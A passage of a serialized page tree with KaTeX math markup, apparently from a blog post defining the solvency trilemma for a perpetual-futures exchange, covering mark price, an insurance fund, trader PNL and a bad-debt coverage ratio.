21574,4061],[162600],{"type":28,"value":3737},{"type":23,"tag":41,"props":162602,"children":162604},{"className":162603},[21731],[162605],{"type":28,"value":21734},{"type":23,"tag":41,"props":162607,"children":162609},{"className":162608},[4038],[162610],{"type":23,"tag":41,"props":162611,"children":162613},{"className":162612,"style":92848},[4043],[162614],{"type":23,"tag":41,"props":162615,"children":162616},{},[],{"type":23,"tag":41,"props":162618,"children":162619},{"style":161233},[162620,162624],{"type":23,"tag":41,"props":162621,"children":162623},{"className":162622,"style":160665},[4052],[],{"type":23,"tag":41,"props":162625,"children":162627},{"className":162626},[4012],[162628,162632,162636,162641,162645,162708,162712,162717,162722,162727,162784,162789,162793,162797,162802],{"type":23,"tag":41,"props":162629,"children":162631},{"className":162630},[4012],[],{"type":23,"tag":41,"props":162633,"children":162635},{"className":162634,"style":4190},[4092],[],{"type":23,"tag":41,"props":162637,"children":162639},{"className":162638},[4195],[162640],{"type":28,"value":2381},{"type":23,"tag":41,"props":162642,"children":162644},{"className":162643,"style":4190},[4092],[],{"type":23,"tag":41,"props":162646,"children":162648},{"className":162647},[21610,162489],[162649],{"type":23,"tag":41,"props":162650,"children":162652},{"className":162651},[4033,21628],[162653,162697],{"type":23,"tag":41,"props":162654,"children":162656},{"className":162655},[4038],[162657,162692],{"type":23,"tag":41,"props":162658,"children":162660},{"className":162659,"style":162502},[4043],[162661,162677],{"type":23,"tag":41,"props":162662,"children":162663},{"style":162506},[162664,162668],{"type":23,"tag":41,"props":162665,"children":162667},{"className":162666,"style":162511},[4052],[],{"type":23,"tag":41,"props":162669,"children":162671},{"className":162670},[4058,4059,4060,4061],[162672],{"type":23,"tag":41,"props":162673,"children":162675},{"className":162674},[4012,21574,4061],[162676],{"type":28,"value":3737},{"type":23,"tag":41,"props":162678,"children":162679},{"style":162524},[162680,162684],{"type":23,"tag":41,"props":162681,"children":162683},{"className":162682,"style":162511},[4052],[],{"type":23,"tag":41,"props":162685,"children":162686},{},[162687],{"type":23,"tag":41,"props":162688,"children":162690},{"className":162689},[21610,21615,162536],[162691],{"type":28,"value":108560},{"type":23,"tag":41,"props":162693,"children":162695},{"className":162694},[21731],[162696],{"type":28,"value":21734},{"type":23,"tag":41,"props":162698,"children":162700},{"className":162699},[4038],[162701],{"type":23,"tag":41,"props":162702,"children":162704},{"className":162703,"style":162551},[4043],[162705],{"type":23,"tag":41,"props":162706,"children":162707},{},[],{"type":23,"tag":41,"props":162709,"children":162711},{"className":162710,"style":4131},[4092],[],{"type":23,"tag":41,"props":162713,"children":162715},{"className":162714},[21610],[162716],{"type":28,"value":160379},{"type":23,"tag":41,"props":162718,"children":162720},{"className":162719},[21703],[162721],{"type":28,"value":1737},{"type":23,"tag":41,"props":162723,"children":162725},{"className":162724},[4012],[162726],{"type":28,"value":4072},{"type":23,"tag":41,"props":162728,"children":162730},{"className":162729},[4012],[162731,162736],{"type":23,"tag":41,"props":162732,"children":162734},{"className":162733},[4012,21574],[162735],{"type":28,"value":51449},{"type":23,"tag":41,"props":162737,"children":162739},{"className":162738},[4028],[162740],{"type":23,"tag":41,"props":162741,"children":162743},{"className":162742},[4033,21628],[162744,162773],{"type":23,"tag":41,"props":162745,"children":162747},{"className":162746},[4038],[162748,162768],{"type":23,"tag":41,"props":162749,"children":162751},{"className":162750,"style":93294},[4043],[162752],{"type":23,"tag":41,"props":162753,"children":162754},{"style":92821},[162755,162759],{"type":23,"tag":41,"props":162756,"children":162758},{"className":162757,"style":4053},[4052],[],{"type":23,"tag":41,"props":162760,"children":162762},{"className":162761},[4058,4059,4060,4061],[162763],{"type":23,"tag":41,"props":162764,"children":162766},{"className":162765},[4012,21574,4061],[162767],{"type":28,"value":3737},{"type":23,"tag":41,"props":162769,"children":162771},{"className":162770},[21731],[162772],{"type":28,"value":21734},{"type":23,"tag":41,"props":162774,"children":162776},{"className":162775},[4038],[162777],{"type":23,"tag":41,"props":162778,"children":162780},{"className":162779,"style":92848},[4043],[162781],{"type":23,"tag":41,"props":162782,"children":162783},{},[],{"type":23,"tag":41,"props":162785,"children":162787},{"className":162786},[4124],[162788],{"type":28,"value":4127},{"type":23,"tag":41,"props":162790,"children":162792},{"className":162791,"style":4131},[4092],[],{"type":23,"tag":41,"props":162794,"children":162796},{"className":162795,"style":4131},[4092],[],{"type":23,"tag":41,"props":162798,"children":162800},{"className":162799},[4012],[162801],{"type":28,"value":4024},{"type":23,"tag":41,"props":162803,"children":162805},{"className":162804},[21725],[162806],{"type":28,"value":2678},{"type":23,"tag":41,"props":162808,"children":162809},{"style":161303},[162810,162814],{"type":23,"tag":41,"props":162811,"children":162813},{"className":162812,"style":160665},[4052],[],{"type":23,"tag":41,"props":162815,"children":162817},{"className":162816},[4012],[162818,162822,162826,162831,162835,162898,162902],{"type":23,"tag":41,"props":162819,"children":162821},{"className":162820},[4012],[],{"type":23,"tag":41,"props":162823,"children":162825},{"className":162824,"style":4190},[4092],[],{"type":23,"tag":41,"props":162827,"children":162829},{"className":162828},[4195],[162830],{"type":28,"value":2381},{"type":23,"tag":41,"props":162832,"children":162834},{"className":162833,"style":4190},[4092],[],{"type":23,"tag":41,"props":162836,"children":162838},{"className":162837},[21610,162489],[162839],{"type":23,"tag":41,"props":162840,"children":162842},{"className":162841},[4033,21628],[162843,162887],{"type":23,"tag":41,"props":162844,"children":162846},{"className":162845},[4038],[162847,162882],{"type":23,"tag":41,"props":162848,"children":162850},{"className":162849,"style":162502},[4043],[162851,162867],{"type":23,"tag":41,"props":162852,"children":162853},{"style":162506},[162854,162858],{"type":23,"tag":41,"props":162855,"children":162857},{"className":162856,"style":162511},[4052],[],{"type":23,"tag":41,"props":162859,"children":162861},{"className":162860},[4058,4059,4060,4061],[162862],{"type":23,"tag":41,"props":162863,"children":162865},{"className":162864},[4012,21574,4061],[162866],{"type":28,"value":3737},{"type":23,"tag":41,"props":162868,"children":162869},{"style":162524},[162870,162874],{"type":23,"tag":41,"props":162871,"children":162873},{"className":162872,"style":162511},[4052],[],{"type":23,"tag":41,"props":162875,"children":162876},{},[162877],{"type":23,"tag":41,"props":162878,"children":162880},{"className":162879},[21610,21615,162536],[162881],{"type":28,"value":108560},{"type":23,"tag":41,"props":162883,"children":162885},{"className":162884},[21731],[162886],{"type":28,"value":21734},{"type":23,"tag":41,"props":162888,"children":162890},{"className":162889},[4038],[162891],{"type":23,"tag":41,"props":162892,"children":162894},{"className":162893,"style":162551},[4043],[162895],{"type":23,"tag":41,"props":162896,"children":162897},{},[],{"type":23,"tag":41,"props":162899,"children":162901},{"className":162900,"style":4131},[4092],[],{"type":23,"tag":41,"props":162903,"children":162905},{"className":162904},[4012],[162906,162911],{"type":23,"tag":41,"props":162907,"children":162909},{"className":162908,"style":122045},[4012,21574],[162910],{"type":28,"value":49566},{"type":23,"tag":41,"props":162912,"children":162914},{"className":162913},[4028],[162915],{"type":23,"tag":41,"props":162916,"children":162918},{"className":162917},[4033,21628],[162919,162948],{"type":23,"tag":41,"props":162920,"children":162922},{"className":162921},[4038],[162923,162943],{"type":23,"tag":41,"props":162924,"children":162926},{"className":162925,"style":93294},[4043],[162927],{"type":23,"tag":41,"props":162928,"children":162929},{"style":160993},[162930,162934],{"type":23,"tag":41,"props":162931,"children":162933},{"className":162932,"style":4053},[4052],[],{"type":23,"tag":41,"props":162935,"children":162937},{"className":162936},[4058,4059,4060,4061],[162938],{"type":23,"tag":41,"props":162939,"children":162941},{"className":162940},[4012,21574,4061],[162942],{"type":28,"value":3737},{"type":23,"tag":41,"props":162944,"children":162946},{"className":162945},[21731],[162947],{"type":28,"value":21734},{"type":23,"tag":41,"props":162949,"children":162951},{"className":162950},[4038],[162952],{"type":23,"tag":41,"props":162953,"children":162955},{"className":162954,"style":92848},[4043],[162956],{"type":23,"tag":41,"props":162957,"children":162958},{},[],{"type":23,"tag":41,"props":162960,"children":162961},{"style":161374},[162962,162966],{"type":23,"tag":41,"props":162963,"children":162965},{"className":162964,"style":160665},[4052],[],{"type":23,"tag":41,"props":162967,"children":162969},{"className":162968},[4012],[162970,162974,162978,162983,162987,162992,162997,163054,163058,163063,163067,163072,163076,163081,163085,163142,163147,163151,163155,163160],{"type":23,"tag":41,"props":162971,"children":162973},{"className":162972},[4012],[],{"type":23,"tag":41,"props":162975,"children":162977},{"className":162976,"style":4190},[4092],[],{"type":23,"tag":41,"props":162979,"children":162981},{"className":162980},[4195],[162982],{"type":28,"value":2381},{"type":23,"tag":41,"props":162984,"children":162986},{"className":162985,"style":4190},[4092],[],{"type":23,"tag":41,"props":162988,"children":162990},{"className":162989},[21610],[162991],{"type":28,"value":160379},{"type":23,"tag":41,"props":162993,"children":162995},{"className":162994},[21703],[162996],{"type":28,"value":1737},{"type":23,"tag":41,"props":162998,"children":163000},{"className":162999},[4012],[163001,163006],{"type":23,"tag":41,"props":163002,"children":163004},{"className":163003,"style":92765},[4012,21574],[163005],{"type":28,"value":161252},{"type":23,"tag":41,"props":163007,"children":163009},{"className":163008},[4028],[163010],{"type":23,"tag":41,"props":163011,"children":163013},{"className":163012},[4033,21628],[163014,163043],{"type":23,"tag":41,"props":163015,"children":163017},{"className":163016},[4038],[163018,163038],{"type":23,"tag":41,"props":163019,"children":163021},{"className":163020,"style":142320},[4043],[163022],{"type":23,"tag":41,"props":163023,"children":163024},{"style":109764},[163025,163029],{"type":23,"tag":41,"props":163026,"children":163028},{"className":163027,"style":4053},[4052],[],{"type":23,"tag":41,"props":163030,"children":163032},{"className":163031},[4058,4059,4060,4061],[163033],{"type":23,"tag":41,"props":163034,"children":163036},{"className":163035,"style":21575},[4012,21574,4061],[163037],{"type":28,"value":1634},{"type":23,"tag":41,"props":163039,"children":163041},{"className":163040},[21731],[163042],{"type":28,"value":21734},{"type":23,"tag":41,"props":163044,"children":163046},{"className":163045},[4038],[163047],{"type":23,"tag":41,"props":163048,"children":163050},{"className":163049,"style":92848},[4043],[163051],{"type":23,"tag":41,"props":163052,"children":163053},{},[],{"type":23,"tag":41,"props":163055,"children":163057},{"className":163056,"style":4093},[4092],[],{"type":23,"tag":41,"props":163059,"children":163061},{"className":163060},[4098],[163062],{"type":28,"value":4072},{"type":23,"tag":41,"props":163064,"children":163066},{"className":163065,"style":4093},[4092],[],{"type":23,"tag":41,"props":163068,"children":163070},{"className":163069,"style":94785},[4012,21574],[163071],{"type":28,"value":94819},{"type":23,"tag":41,"props":163073,"children":163075},{"className":163074,"style":4093},[4092],[],{"type":23,"tag":41,"props":163077,"children":163079},{"className":163078},[4098],[163080],{"type":28,"value":4072},{"type":23,"tag":41,"props":163082,"children":163084},{"className":163083,"style":4093},[4092],[],{"type":23,"tag":41,"props":163086,"children":163088},{"className":163087},[4012],[163089,163094],{"type":23,"tag":41,"props":163090,"children":163092},{"className":163091,"style":92999},[4012,21574],[163093],{"type":28,"value":93002},{"type":23,"tag":41,"props":163095,"children":163097},{"className":163096},[4028],[163098],{"type":23,"tag":41,"props":163099,"children":163101},{"className":163100},[4033,21628],[163102,163131],{"type":23,"tag":41,"props":163103,"children":163105},{"className":163104},[4038],[163106,163126],{"type":23,"tag":41,"props":163107,"children":163109},{"className":163108,"style":142320},[4043],[163110],{"type":23,"tag":41,"props":163111,"children":163112},{"style":110194},[163113,163117],{"type":23,"tag":41,"props":163114,"children":163116},{"className":163115,"style":4053},[4052],[],{"type":23,"tag":41,"props":163118,"children":163120},{"className":163119},[4058,4059,4060,4061],[163121],{"type":23,"tag":41,"props":163122,"children":163124},{"className":163123,"style":21575},[4012,21574,4061],[163125],{"type":28,"value":1634},{"type":23,"tag":41,"props":163127,"children":163129},{"className":163128},[21731],[163130],{"type":28,"value":21734},{"type":23,"tag":41,"props":163132,"children":163134},{"className":163133},[4038],[163135],{"type":23,"tag":41,"props":163136,"children":163138},{"className":163137,"style":92848},[4043],[163139],{"type":23,"tag":41,"props":163140,"children":163141},{},[],{"type":23,"tag":41,"props":163143,"children":163145},{"className":163144},[4124],[163146],{"type":28,"value":4127},{"type":23,"tag":41,"props":163148,"children":163150},{"className":163149,"style":4131},[4092],[],{"type":23,"tag":41,"props":163152,"children":163154},{"className":163153,"style":4131},[4092],[],{"type":23,"tag":41,"props":163156,"children":163158},{"className":163157},[4012],[163159],{"type":28,"value":4024},{"type":23,"tag":41,"props":163161,"children":163163},{"className":163162},[21725],[163164],{"type":28,"value":2678},{"type":23,"tag":41,"props":163166,"children":163168},{"className":163167},[21731],[163169],{"type":28,"value":21734},{"type":23,"tag":41,"props":163171,"children":163173},{"className":163172},[4038],[163174],{"type":23,"tag":41,"props":163175,"children":163177},{"className":163176,"style":161455},[4043],[163178],{"type":23,"tag":41,"props":163179,"children":163180},{},[],{"type":23,"tag":24,"props":163182,"children":163183},{},[163184,163185,163262,163264,163289,163291,163368,163370,163447],{"type":28,"value":1737},{"type":23,"tag":37,"props":163186,"children":163188},{"className":163187},[3984,3985],[163189],{"type":23,"tag":41,"props":163190,"children":163192},{"className":163191},[3990],[163193],{"type":23,"tag":41,"props":163194,"children":163196},{"className":163195,"ariaHidden":3996},[3995],[163197],{"type":23,"tag":41,"props":163198,"children":163200},{"className":163199},[4001],[163201,163205],{"type":23,"tag":41,"props":163202,"children":163204},{"className":163203,"style":110762},[4006],[],{"type":23,"tag":41,"props":163206,"children":163208},{"className":163207},[4012],[163209,163214],{"type":23,"tag":41,"props":163210,"children":163212},{"className":163211,"style":21575},[4012,21574],[163213],{"type":28,"value":21578},{"type":23,"tag":41,"props":163215,"children":163217},{"className":163216},[4028],[163218],{"type":23,"tag":41,"props":163219,"children":163221},{"className":163220},[4033,21628],[163222,163251],{"type":23,"tag":41,"props":163223,"children":163225},{"className":163224},[4038],[163226,163246],{"type":23,"tag":41,"props":163227,"children":163229},{"className":163228,"style":109197},[4043],[163230],{"type":23,"tag":41,"props":163231,"children":163232},{"style":160698},[163233,163237],{"type":23,"tag":41,"props":163234,"children":163236},{"className":163235,"style":4053},[4052],[],{"type":23,"tag":41,"props":163238,"children":163240},{"className":163239},[4058,4059,4060,4061],[163241],{"type":23,"tag":41,"props":163242,"children":163244},{"className":163243},[4012,21574,4061],[163245],{"type":28,"value":56399},{"type":23,"tag":41,"props":163247,"children":163249},{"className":163248},[21731],[163250],{"type":28,"value":21734},{"type":23,"tag":41,"props":163252,"children":163254},{"className":163253},[4038],[163255],{"type":23,"tag":41,"props":163256,"children":163258},{"className":163257,"style":92848},[4043],[163259],{"type":23,"tag":41,"props":163260,"children":163261},{},[],{"type":28,"value":163263},": mark price from different sources; ",{"type":23,"tag":37,"props":163265,"children":163267},{"className":163266},[3984,3985],[163268],{"type":23,"tag":41,"props":163269,"children":163271},{"className":163270},[3990],[163272],{"type":23,"tag":41,"props":163273,"children":163275},{"className":163274,"ariaHidden":3996},[3995],[163276],{"type":23,"tag":41,"props":163277,"children":163279},{"className":163278},[4001],[163280,163284],{"type":23,"tag":41,"props":163281,"children":163283},{"className":163282,"style":21569},[4006],[],{"type":23,"tag":41,"props":163285,"children":163287},{"className":163286,"style":94785},[4012,21574],[163288],{"type":28,"value":94819},{"type":28,"value":163290},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":37,"props":163292,"children":163294},{"className":163293},[3984,3985],[163295],{"type":23,"tag":41,"props":163296,"children":163298},{"className":163297},[3990],[163299],{"type":23,"tag":41,"props":163300,"children":163302},{"className":163301,"ariaHidden":3996},[3995],[163303],{"type":23,"tag":41,"props":163304,"children":163306},{"className":163305},[4001],[163307,163311],{"type":23,"tag":41,"props":163308,"children":163310},{"className":163309,"style":109735},[4006],[],{"type":23,"tag":41,"props":163312,"children":163314},{"className":163313},[4012],[163315,163320],{"type":23,"tag":41,"props":163316,"children":163318},{"className":163317,"style":93251},[4012,21574],[163319],{"type":28,"value":160836},{"type":23,"tag":41,"props":163321,"children":163323},{"className":163322},[4028],[163324],{"type":23,"tag":41,"props":163325,"children":163327},{"className":163326},[4033,21628],[163328,163357],{"type":23,"tag":41,"props":163329,"children":163331},{"className":163330},[4038],[163332,163352],{"type":23,"tag":41,"props":163333,"children":163335},{"className":163334,"style":93294},[4043],[163336],{"type":23,"tag":41,"props":163337,"children":163338},{"style":93298},[163339,163343],{"type":23,"tag":41,"props":163340,"children":163342},{"className":163341,"style":4053},[4052],[],{"type":23,"tag":41,"props":163344,"children":163346},{"className":163345},[4058,4059,4060,4061],[163347],{"type":23,"tag":41,"props":163348,"children":163350},{"className":163349},[4012,21574,4061],[163351],{"type":28,"value":3737},{"type":23,"tag":41,"props":163353,"children":163355},{"className":163354},[21731],[163356],{"type":28,"value":21734},{"type":23,"tag":41,"props":163358,"children":163360},{"className":163359},[4038],[163361],{"type":23,"tag":41,"props":163362,"children":163364},{"className":163363,"style":92848},[4043],[163365],{"type":23,"tag":41,"props":163366,"children":163367},{},[],{"type":28,"value":163369}," is PNL for longs, negated for shorts; ",{"type":23,"tag":37,"props":163371,"children":163373},{"className":163372},[3984,3985],[163374],{"type":23,"tag":41,"props":163375,"children":163377},{"className":163376},[3990],[163378],{"type":23,"tag":41,"props":163379,"children":163381},{"className":163380,"ariaHidden":3996},[3995],[163382],{"type":23,"tag":41,"props":163383,"children":163385},{"className":163384},[4001],[163386,163390],{"type":23,"tag":41,"props":163387,"children":163389},{"className":163388,"style":109735},[4006],[],{"type":23,"tag":41,"props":163391,"children":163393},{"className":163392},[4012],[163394,163399],{"type":23,"tag":41,"props":163395,"children":163397},{"className":163396,"style":122045},[4012,21574],[163398],{"type":28,"value":49566},{"type":23,"tag":41,"props":163400,"children":163402},{"className":163401},[4028],[163403],{"type":23,"tag":41,"props":163404,"children":163406},{"className":163405},[4033,21628],[163407,163436],{"type":23,"tag":41,"props":163408,"children":163410},{"className":163409},[4038],[163411,163431],{"type":23,"tag":41,"props":163412,"children":163414},{"className":163413,"style":93294},[4043],[163415],{"type":23,"tag":41,"props":163416,"children":163417},{"style":160993},[163418,163422],{"type":23,"tag":41,"props":163419,"children":163421},{"className":163420,"style":4053},[4052],[],{"type":23,"tag":41,"props":163423,"children":163425},{"className":163424},[4058,4059,4060,4061],[163426],{"type":23,"tag":41,"props":163427,"children":163429},{"className":163428},[4012,21574,4061],[163430],{"type":28,"value":3737},{"type":23,"tag":41,"props":163432,"children":163434},{"className":163433},[21731],[163435],{"type":28,"value":21734},{"type":23,"tag":41,"props":163437,"children":163439},{"className":163438},[4038],[163440],{"type":23,"tag":41,"props":163441,"children":163443},{"className":163442,"style":92848},[4043],[163444],{"type":23,"tag":41,"props":163445,"children":163446},{},[],{"type":28,"value":163448}," is the positive part of PNL.)",{"type":23,"tag":24,"props":163450,"children":163451},{},[163452],{"type":28,"value":163453},"And let's make the trilemma definitions concrete:",{"type":23,"tag":417,"props":163455,"children":163456},{},[163457,163931,164495],{"type":23,"tag":421,"props":163458,"children":163459},{},[163460,163464,163465,163719,163721,163772,163774,163877,163878,163929],{"type":23,"tag":2913,"props":163461,"children":163462},{},[163463],{"type":28,"value":160577},{"type":28,"value":32904},{"type":23,"tag":37,"props":163466,"children":163468},{"className":163467},[3984,3985],[163469],{"type":23,"tag":41,"props":163470,"children":163472},{"className":163471},[3990],[163473],{"type":23,"tag":41,"props":163474,"children":163476},{"className":163475,"ariaHidden":3996},[3995],[163477,163504],{"type":23,"tag":41,"props":163478,"children":163480},{"className":163479},[4001],[163481,163486,163491,163495,163500],{"type":23,"tag":41,"props":163482,"children":163485},{"className":163483,"style":163484},[4006],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":41,"props":163487,"children":163489},{"className":163488},[4012],[163490],{"type":28,"value":317},{"type":23,"tag":41,"props":163492,"children":163494},{"className":163493,"style":4093},[4092],[],{"type":23,"tag":41,"props":163496,"children":163498},{"className":163497},[4098],[163499],{"type":28,"value":4072},{"type":23,"tag":41,"props":163501,"children":163503},{"className":163502,"style":4093},[4092],[],{"type":23,"tag":41,"props":163505,"children":163507},{"className":163506},[4001],[163508,163513],{"type":23,"tag":41,"props":163509,"children":163512},{"className":163510,"style":163511},[4006],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":41,"props":163514,"children":163516},{"className":163515},[4012],[163517,163521,163715],{"type":23,"tag":41,"props":163518,"children":163520},{"className":163519},[21703,113283],[],{"type":23,"tag":41,"props":163522,"children":163524},{"className":163523},[113288],[163525],{"type":23,"tag":41,"props":163526,"children":163528},{"className":163527},[4033,21628],[163529,163703],{"type":23,"tag":41,"props":163530,"children":163532},{"className":163531},[4038],[163533,163698],{"type":23,"tag":41,"props":163534,"children":163537},{"className":163535,"style":163536},[4043],"height:0.8884em;",[163538,163612,163623],{"type":23,"tag":41,"props":163539,"children":163540},{"style":113305},[163541,163545],{"type":23,"tag":41,"props":163542,"children":163544},{"className":163543,"style":111936},[4052],[],{"type":23,"tag":41,"props":163546,"children":163548},{"className":163547},[4058,4059,4060,4061],[163549],{"type":23,"tag":41,"props":163550,"children":163552},{"className":163551},[4012,4061],[163553],{"type":23,"tag":41,"props":163554,"children":163556},{"className":163555},[4012,4061],[163557,163562],{"type":23,"tag":41,"props":163558,"children":163560},{"className":163559,"style":92765},[4012,21574,4061],[163561],{"type":28,"value":161252},{"type":23,"tag":41,"props":163563,"children":163565},{"className":163564},[4028],[163566],{"type":23,"tag":41,"props":163567,"children":163569},{"className":163568},[4033,21628],[163570,163600],{"type":23,"tag":41,"props":163571,"children":163573},{"className":163572},[4038],[163574,163595],{"type":23,"tag":41,"props":163575,"children":163577},{"className":163576,"style":112097},[4043],[163578],{"type":23,"tag":41,"props":163579,"children":163581},{"style":163580},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[163582,163586],{"type":23,"tag":41,"props":163583,"children":163585},{"className":163584,"style":108625},[4052],[],{"type":23,"tag":41,"props":163587,"children":163589},{"className":163588},[4058,108630,108631,4061],[163590],{"type":23,"tag":41,"props":163591,"children":163593},{"className":163592,"style":21575},[4012,21574,4061],[163594],{"type":28,"value":1634},{"type":23,"tag":41,"props":163596,"children":163598},{"className":163597},[21731],[163599],{"type":28,"value":21734},{"type":23,"tag":41,"props":163601,"children":163603},{"className":163602},[4038],[163604],{"type":23,"tag":41,"props":163605,"children":163608},{"className":163606,"style":163607},[4043],"height:0.1433em;",[163609],{"type":23,"tag":41,"props":163610,"children":163611},{},[],{"type":23,"tag":41,"props":163613,"children":163614},{"style":113338},[163615,163619],{"type":23,"tag":41,"props":163616,"children":163618},{"className":163617,"style":111936},[4052],[],{"type":23,"tag":41,"props":163620,"children":163622},{"className":163621,"style":113348},[113347],[],{"type":23,"tag":41,"props":163624,"children":163626},{"style":163625},"top:-3.4101em;",[163627,163631],{"type":23,"tag":41,"props":163628,"children":163630},{"className":163629,"style":111936},[4052],[],{"type":23,"tag":41,"props":163632,"children":163634},{"className":163633},[4058,4059,4060,4061],[163635],{"type":23,"tag":41,"props":163636,"children":163638},{"className":163637},[4012,4061],[163639],{"type":23,"tag":41,"props":163640,"children":163642},{"className":163641},[4012,4061],[163643,163648],{"type":23,"tag":41,"props":163644,"children":163646},{"className":163645,"style":122542},[4012,21574,4061],[163647],{"type":28,"value":122545},{"type":23,"tag":41,"props":163649,"children":163651},{"className":163650},[4028],[163652],{"type":23,"tag":41,"props":163653,"children":163655},{"className":163654},[4033,21628],[163656,163687],{"type":23,"tag":41,"props":163657,"children":163659},{"className":163658},[4038],[163660,163682],{"type":23,"tag":41,"props":163661,"children":163664},{"className":163662,"style":163663},[4043],"height:0.2963em;",[163665],{"type":23,"tag":41,"props":163666,"children":163668},{"style":163667},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[163669,163673],{"type":23,"tag":41,"props":163670,"children":163672},{"className":163671,"style":108625},[4052],[],{"type":23,"tag":41,"props":163674,"children":163676},{"className":163675},[4058,108630,108631,4061],[163677],{"type":23,"tag":41,"props":163678,"children":163680},{"className":163679},[4012,21574,4061],[163681],{"type":28,"value":21716},{"type":23,"tag":41,"props":163683,"children":163685},{"className":163684},[21731],[163686],{"type":28,"value":21734},{"type":23,"tag":41,"props":163688,"children":163690},{"className":163689},[4038],[163691],{"type":23,"tag":41,"props":163692,"children":163694},{"className":163693,"style":108650},[4043],[163695],{"type":23,"tag":41,"props":163696,"children":163697},{},[],{"type":23,"tag":41,"props":163699,"children":163701},{"className":163700},[21731],[163702],{"type":28,"value":21734},{"type":23,"tag":41,"props":163704,"children":163706},{"className":163705},[4038],[163707],{"type":23,"tag":41,"props":163708,"children":163711},{"className":163709,"style":163710},[4043],"height:0.4453em;",[163712],{"type":23,"tag":41,"props":163713,"children":163714},{},[],{"type":23,"tag":41,"props":163716,"children":163718},{"className":163717},[21725,113283],[],{"type":28,"value":163720}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":37,"props":163722,"children":163724},{"className":163723},[3984,3985],[163725],{"type":23,"tag":41,"props":163726,"children":163728},{"className":163727},[3990],[163729],{"type":23,"tag":41,"props":163730,"children":163732},{"className":163731,"ariaHidden":3996},[3995],[163733,163759],{"type":23,"tag":41,"props":163734,"children":163736},{"className":163735},[4001],[163737,163741,163746,163750,163755],{"type":23,"tag":41,"props":163738,"children":163740},{"className":163739,"style":21569},[4006],[],{"type":23,"tag":41,"props":163742,"children":163744},{"className":163743,"style":22033},[4012,21574],[163745],{"type":28,"value":22036},{"type":23,"tag":41,"props":163747,"children":163749},{"className":163748,"style":4190},[4092],[],{"type":23,"tag":41,"props":163751,"children":163753},{"className":163752},[4195],[163754],{"type":28,"value":2381},{"type":23,"tag":41,"props":163756,"children":163758},{"className":163757,"style":4190},[4092],[],{"type":23,"tag":41,"props":163760,"children":163762},{"className":163761},[4001],[163763,163767],{"type":23,"tag":41,"props":163764,"children":163766},{"className":163765,"style":93796},[4006],[],{"type":23,"tag":41,"props":163768,"children":163770},{"className":163769},[4012],[163771],{"type":28,"value":317},{"type":28,"value":163773}," means fully solvent (",{"type":23,"tag":37,"props":163775,"children":163777},{"className":163776},[3984,3985],[163778],{"type":23,"tag":41,"props":163779,"children":163781},{"className":163780},[3990],[163782],{"type":23,"tag":41,"props":163783,"children":163785},{"className":163784,"ariaHidden":3996},[3995],[163786,163864],{"type":23,"tag":41,"props":163787,"children":163789},{"className":163788},[4001],[163790,163794,163851,163855,163860],{"type":23,"tag":41,"props":163791,"children":163793},{"className":163792,"style":110762},[4006],[],{"type":23,"tag":41,"props":163795,"children":163797},{"className":163796},[4012],[163798,163803],{"type":23,"tag":41,"props":163799,"children":163801},{"className":163800,"style":122542},[4012,21574],[163802],{"type":28,"value":122545},{"type":23,"tag":41,"props":163804,"children":163806},{"className":163805},[4028],[163807],{"type":23,"tag":41,"props":163808,"children":163810},{"className":163809},[4033,21628],[163811,163840],{"type":23,"tag":41,"props":163812,"children":163814},{"className":163813},[4038],[163815,163835],{"type":23,"tag":41,"props":163816,"children":163818},{"className":163817,"style":161408},[4043],[163819],{"type":23,"tag":41,"props":163820,"children":163821},{"style":161412},[163822,163826],{"type":23,"tag":41,"props":163823,"children":163825},{"className":163824,"style":4053},[4052],[],{"type":23,"tag":41,"props":163827,"children":163829},{"className":163828},[4058,4059,4060,4061],[163830],{"type":23,"tag":41,"props":163831,"children":163833},{"className":163832},[4012,21574,4061],[163834],{"type":28,"value":21716},{"type":23,"tag":41,"props":163836,"children":163838},{"className":163837},[21731],[163839],{"type":28,"value":21734},{"type":23,"tag":41,"props":163841,"children":163843},{"className":163842},[4038],[163844],{"type":23,"tag":41,"props":163845,"children":163847},{"className":163846,"style":92848},[4043],[163848],{"type":23,"tag":41,"props":163849,"children":163850},{},[],{"type":23,"tag":41,"props":163852,"children":163854},{"className":163853,"style":4190},[4092],[],{"type":23,"tag":41,"props":163856,"children":163858},{"className":163857},[4195],[163859],{"type":28,"value":2381},{"type":23,"tag":41,"props":163861,"children":163863},{"className":163862,"style":4190},[4092],[],{"type":23,"tag":41,"props":163865,"children":163867},{"className":163866},[4001],[163868,163872],{"type":23,"tag":41,"props":163869,"children":163871},{"className":163870,"style":93796},[4006],[],{"type":23,"tag":41,"props":163873,"children":163875},{"className":163874},[4012],[163876],{"type":28,"value":4024},{"type":28,"value":15169},{"type":23,"tag":37,"props":163879,"children":163881},{"className":163880},[3984,3985],[163882],{"type":23,"tag":41,"props":163883,"children":163885},{"className":163884},[3990],[163886],{"type":23,"tag":41,"props":163887,"children":163889},{"className":163888,"ariaHidden":3996},[3995],[163890,163916],{"type":23,"tag":41,"props":163891,"children":163893},{"className":163892},[4001],[163894,163898,163903,163907,163912],{"type":23,"tag":41,"props":163895,"children":163897},{"className":163896,"style":21569},[4006],[],{"type":23,"tag":41,"props":163899,"children":163901},{"className":163900,"style":22033},[4012,21574],[163902],{"type":28,"value":22036},{"type":23,"tag":41,"props":163904,"children":163906},{"className":163905,"style":4190},[4092],[],{"type":23,"tag":41,"props":163908,"children":163910},{"className":163909},[4195],[163911],{"type":28,"value":2381},{"type":23,"tag":41,"props":163913,"children":163915},{"className":163914,"style":4190},[4092],[],{"type":23,"tag":41,"props":163917,"children":163919},{"className":163918},[4001],[163920,163924],{"type":23,"tag":41,"props":163921,"children":163923},{"className":163922,"style":93796},[4006],[],{"type":23,"tag":41,"props":163925,"children":163927},{"className":163926},[4012],[163928],{"type":28,"value":4024},{"type":28,"value":163930}," means nothing was 